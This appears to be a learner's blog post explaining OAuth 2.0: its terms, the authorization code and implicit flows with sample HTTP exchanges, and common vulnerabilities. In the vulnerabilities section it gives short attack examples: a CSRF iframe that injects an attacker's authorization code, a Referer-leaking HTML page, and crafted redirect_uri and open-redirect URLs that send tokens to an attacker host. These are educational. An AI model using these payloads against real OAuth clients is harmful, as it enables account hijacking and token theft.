[#1][Learning] OAuth Framework - Overview

I. What is OAuth?

- OAuth is an HTTP-based open-standard delegation protocol or framework that provides applications the ability for secure access (Auth meant Authorization, not Authentication - even though it can be used to build one).The most version widely used today is OAuth v2 or also called OAuth2.0. OAuth 2.0 is very good at capturing a user delegation decision and expressing that across the network.

- Some cases, you can also see Auth0 in some document. Did Auth0 and OAuth related to each other?Let me explain:

 Auth0 is a company/organisation that sells an identity management platform with authentication and authorization services that implements the OAuth protocol (among others). In short, Auth0 is a vendor

 - Some cases, you can also see a definition: OAuth is authorization protocol. But after researching, I can ensure that it's exactly a delegation protocol. OAuth itself doesn’t carry or convey the authorizations. What is difference? 

Authorize is to grant (someone) power or authority (to do something specific) while delegate is to authorize someone to be a delegate

- Instead, it provides a means by which a client can request that a user delegate some of their authority to it. The user can then approve this request, and the client can then act on it with the results of that approval.  

II. How does it work?

- OAuth systems often follow the principle of TOFU: Trust On First Use. In a TOFU model, the first time a security decision needs to be made at runtime. The Trust On First Use (TOFU) method of managing security decisions is not required by OAuth implementations, but it’s especially common to find these two technologies together. This approach also presents the user’s decision in terms of functionality, not security: "Do you want this client to do this?"

- Orginally, OAuth is created not for a service to authorize person, it authorizes service. 

Example: Imagine that you have already logged in to Facebook account. You visit an e-Library for reading some books. The Library app would like to know your gender, age,type of book,etc.. to recommend you some suitable books that may make you interested. All information above is created in your Facebook profile. The issue is raised here: 

- You don't happy to type all information again. In this case, all you need is provide your fb login credential to allow library service access to needed information . But you don't know what exactly permission the library would have if it had allowed to access to your account. You don't trust it .

Combine your desires, OAuth could definitely help you. In the situation above, if OAuth had implemented in the right way, it would handle all the request on behalf of you. More transparently, when the library request to access to needed information, with the permission of the user, OAuth will appear and allow the service to access, but this is limited access. The service could access  gender, age , type of books, and nothing more. That is Authorization, OAuth decided which permission that services allowed to do.

- OAuth is focused on solving a small set of problems and solving them well, which makes it a suitable component within larger security systems

+ Terminologies:

- OAuth is a protocol designed to do exactly that: in OAuth, the end user delegates some part of their authority to access the protected resource to the client application to act on their behalf. To make that happen, OAuth introduces another component into the system: the authorization server 

- Resource: or Protected Resource, that another service want to access. In the example about, the Facebook personal information is Resource

- Resource Owner(RO): the user, or an entity capable of granting access to a protected resource. In the example above, the user is RO.

- Resource Server(RS): hosting Protected Resource. In the example above, it's Facebook

- Client, also called OAuth Client: the service that the user want to work with, it need to access the RS, on behalf of the RO.

- OAuth Service Provider/Authorization Server : The website or application that controls the user's data and access to it, provides mechanisms for allowing resource owners to authorize clients.

In the example above, Resource Server and Authorization Server are the same.

- Client Credentials are the consumer key and consumer secret used to authenticate the

Client 

- Token Credentials are the access token and token secret used in place of User’s

username and password,  issued by the authorization server to a client that indicates the rights that the client has been delegated.

- Bearer Token: The OAuth specification defines a bearer token as a security device with the property that any party in possession of the token (a “bearer”) can use the token, regardless of who that party is.

- Scopes:  a representation of a set of rights at a protected resource, also an important mechanism for limiting the access granted to a client.

- Back Channel: Back-channel communication is a method of using HTTP requests generally occur outside the purview of the resource owner and user agent

- Front Channel: Front-channel communication is a method of using HTTP requests to communicate indirectly between two systems through an intermediary web browser.

+ OAuth work flow/ OAuth grant types:

- Authorization code:

Step 1: The User (Resource Owner) send a request to Client 

- Example: Facebook user go to Library Service and request the Service in order to read a book.

Step 2: The Client send a requst to Resource Server which has an Authorization Server confront.

- Example: the Library Service send a request to Facebook in order to access the needed information in demand for reading a book.

Step 3: The Authorization Server send a Request to The User, ask him whether he allows this thing happen. This step is essential in determining who the resource owner is and what rights they're allowed to delegate to the client.

- Example: Oauth menu appears and forces the FB user to answer the question : "Are you allowing to do that ?"(allow for sharing his personal information to the Library Service)

Step 4: The User allows to authorize the access (grants authorization)

Step 5: The Authorization server send an Authoriztion Token to the Client

Once the client application receives the authorization code, it needs to exchange it for an access token. To do this, it sends a server-to-server POST request to the OAuth service's /token endpoint

Step 6: The Authorization server send an Access Token to Client

Step 7: The Client uses Access Token and access to Required Resource. The User now can uses the Service provided by Client

(Theses steps also called "OAuth Dance")

OAuth Dance in detail

- First, the resource owner goes to the client application and indicates to the client that he would like it to use a particular protected resource on his behalf.

- The response from the client application looks like this:

HTTP/1.1 302 Moved Temporarily
Location: http://localhost:9001/authorize?response_type=code&scope=foo&client
_id=oauth-client-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%2Fcallback&
state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1
Vary: Accept
Content-Type: text/html; charset=utf-8
Content-Length: 444
Date: Fri,  Feb 2021 20:50:19 GMT
Connection: keep-alive

- The client sends the resource owner to the authorization server (by redirect method) with a request that indicates that the client is asking to be delegated some piece of authority by that resource owner 

This redirect to the browser causes the browser to send an HTTP GET to the authorization server:

GET /authorize?response_type=code&scope=foo&client_id=oauth-client
-1&redirect_uri=http%3A%2F%2Flocalhost%3A9000%
2Fcallback&state=Lwt50DDQKUB8U7jtfLQCVGDL9cnmwHH1 HTTP/1.1
Host: localhost:9001
User-Agent: Mozilla/5.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://localhost:9000/
Connection: keep-aliv

- Next, the authorization server will usually require the user to authenticate. This step is essential in determining who the resource owner is and what rights they're allowed to delegate to the client.

- Next, the user authorizes the client application

The user’s authentication passes directly between the user (and their browser) and the authorization server; it’s never seen by the client application. This protects the user from having to share their credentials with the client application

- Next, the authorization server redirects the user back to the client application ( with authorization code): 

This is the Authorization Server's response:

HTTP 302 Found
Location: http://localhost:9001/oauth_callback?code=fedwcfefefef&state=effefefef

This cause the browser to issue the following request back to the client:

GET /callback?code=fedwcfefefef&state=effefefef HTTP/1.1
Host: localhost:9001

- Now that the client has the code, it can send it back to the authorization server on its token endpoint

The client performs an HTTP POST with its parameters as a form-encoded HTTP entity body, passing its client_id and client_secret as an HTTP Basic authorization header. This HTTP request is made directly between the client and the authorization server, without involving the browser:

- The authorization server takes in this request and, if valid, issues a token

The authorization server takes in this request and, if valid, issues a token. The authorization server performs a number of steps to ensure the request is legitimate.

- With the token in hand, the client can present the token to the protected resource:

- Implicit :

This flow similar to Authorization Code work flow, but has a littel bit simplified in some where

Step 1: The User (Resource Owner) send a request to Client 

Step 2: The Client send a requst to Resource Server which has an Authorization Server confront.

Step 3: The Authorization Server send a Request to The User, ask him whether he allows this thing happen.

Step 4: The User allows to authorize the access

Step 5: The Authorization server send an Access Token to the Client

Step 6: The Client uses Access Token and access to Required Resource. The User now can uses the Service provided by Client

So, we can imagine that, in Imlicit flow, anyone has the access token can impersonate access to resource server. With Authorization code, the resource server was more secured and safe

→ Implicit flow not secure as Authorization code flow.

III. Vulnerabilities

-  OAuth leaves many pieces optional, which can confuse developers who are trying to implement it between two systems.Even worse, some of the available options in OAuth can be taken in the wrong context or not enforced properly, leading to insecure implementations.

- The fact that a system implements OAuth, and even implements it correctly according to the spec, doesn’t mean that this system is secure in practice.

+ Client Vulnerabilities:

- CSRF ATTACK AGAINST THE CLIENT:

Both the authorization code and the implicit grant types mention a recommended state parameter. This parameter is, according to the OAuth :

An opaque value used by the client to maintain state between the request and callback. The authorization server includes this value when redirecting the user-agent back to the client. The parameter SHOULD be used for preventing cross-site request forgery (CSRF).

CSRF ATTACK WITHIN OAuth

To perform the attack, the attacker can simply start an OAuth flow and get an authorization code from the target authorization server, stopping his “OAuth dance” here. The attacker causes the victim’s client to “consume” the attacker’s authorization code by creating a malicious page in his website and convince the victim to visit it, like this

<iframe src="https://ouauthclient.com/callback?code=ATTACKER_AUTHORIZATION_CODE"></iframe>

- REGISTRATION OF THE REDIRECT URI:

It is extremely important to pay attention when choosing the registered redirect_uri when the new OAuth client is created at the authorization server, specifically the redirect_uri must be as specific as it can be.

EXAMPLE

If your OAuth client’s callback is:

https://yourouauthclient.com/oauth/oauthprovider/callback

then DO register the entire URL:

https://yourouauthclient.com/oauth/oauthprovider/callback

and NOT only the domain:

https://yourouauthclient.com/

and NOT only part of the path:

https://yourouauthclient.com/oauth

If you’re not careful with redirect_uri registration requirements, token hijacking attacks become significantly easier than you might think

You can read this for further information

http://intothesymmetry.blogspot.it/2015/06/on-oauth-token-hijacks-for-fun-and.html

- Stealing the authorization code through the referrer

 The HTTP referrer (misspelled as “referer” in the spec) is an HTTP header field that browsers (and HTTP clients in general) attach when surfing from one page to another. In this way, the new web page can see where the request came from, such as an incoming link from a remote site.

Let’s assume you just registered an OAuth client to one OAuth provider that has an authorization server that uses the allowing subdirectory validation strategy for redirect_uri.

Your OAuth callback endpoint is

https://yourouauthclient.com/oauth/oauthprovider/callback

but you registered as

https://yourouauthclient.com/

The attacker also needs to be able to create a page on the target site underneath the registered redirect URI, for example:

https://yourouauthclient.com/malicious/haha.html

From here, it’s enough for the attacker to craft a special URI of this form:

https://oauthprovider.com/authorize?response_type=code&client_id=CLIENT_ID&scope=1mg-email&state=STATE&redirect_uri=https://yourouauthclient.com/maliciouspage/haha.html

and make the victim click on it, via any number of phishing techniques.

Source haha.html

<html>
  <h1>Authorization in progress </h1>
  <img src="https://ngu.com/"> </html>

In the background, the victim’s browser will load the embedded img tag for a resource at the attacker’s server. In that call, the HTTP Referer header will leak the authorization code as the picture below:

 

- Stealing the token through an open redirector (based on the implicit grant type)

This attack also targets the access token rather than the authorization code. To understand this attack, you need to understand how the URI fragment (the part after the #) is handled by browsers on HTTP redirect responses (HTTP 301/302 responses)

An application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.

 Although you might know that fragment is the last part of a URI for a document (behind #), it isn’t intuitive what happens to the fragment upon redirect. 

EXAMPLE

Can you answer this question?

If an HTTP request /blogger#4rth4s has a 302 response with Location /wordpress, is the #4rth4s part appended to the new URI (the new request is  /wordpress#4rth4s) or not (the new request is  /wordpress)?

And the answer is

What the majority of browsers do at the moment is to perform the original fragment on redirect :  /wordpress#4rth4s

The most important thing that you should considerate : you  need to assume that the OAuth client’s domain has an open redirect, for example:

https://yourouauthclient.com/redirector?redir=http://arbitrary.com

The attacker can craft a URI like this:

https://oauthprovider.com/authorize?response_type=token&client_id=CLIENT_ID&scope=1mg-email&state=STATE&redirect_uri=https://yourouauthclient.com/redirector?redir=https://haha.com

If the resource owner has already authorized the application using TOFU, or if they can be convinced to authorize the application again, the resource owner’s user agent is redirected to the passed-in redirect_uri with the access_token appended in the URI fragment:

https://yourouauthclient.com/redirector?readir=https://haha.com#access_token=2YotnFZFEjr1zCsicMWpAA

At this point, the open redirect in the client application forwards the user agent to the attacker’s website. Since URI fragments survive redirects in most browsers, the final landing page will be:

https://attacker.com#access_token=2YotnFZFEjr1zCsicMWpAA

+ Authorization Server Vulnerabilities:

- SESSION HIJACKING

The client MUST NOT use the authorization code more than once. If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

+ OAuth Token Vulnerabilities:

You can think about bearer tokens in much the same way as you do browser cookies.

- They use plaintext strings.

- No secret or signature is involved.

- TLS is the basis of the security model.

But there are some differences:

- Browsers have a long history of dealing with cookies, whereas OAuth clients don’t.

- Browsers enforce the same origin policy, meaning that a cookie for one domain isn’t passed to another domain. This isn’t the case for OAuth clients (and may be a source of problems).

Bearer tokens have characteristics similar to the session cookies used in browsers. Unfortunately, misunderstanding this will leads to all sorts of security problems. When an attacker is able to intercept an access token, they are able to access all resources covered by the scope of that particular token.

Token forgery: An attacker may modify an existing valid one, causing the resource server to grant inappropriate access to the client. For example, an attacker can craft a token to gain access to information they weren’t able to view before. Alternatively, an attacker could modify the token and extend the validity of the token itself.

Token replay: An attacker attempts to use an old token that was already used in the past and is supposed to be expired. The resource server shouldn’t return any valid data in this case; instead, it should return an error.

Token redirect: An attacker uses a token generated for consumption by one resource server to gain access to a different resource server that mistakenly believes the token to be valid for it. In this case, an attacker legitimately obtains an access token for a specific resource server and they try to present this access token to a different one.

Token disclosure: A token might contain sensitive information about the system.

Source: 

Auth2 in action

Google

PortSwitgger

Happy Learning!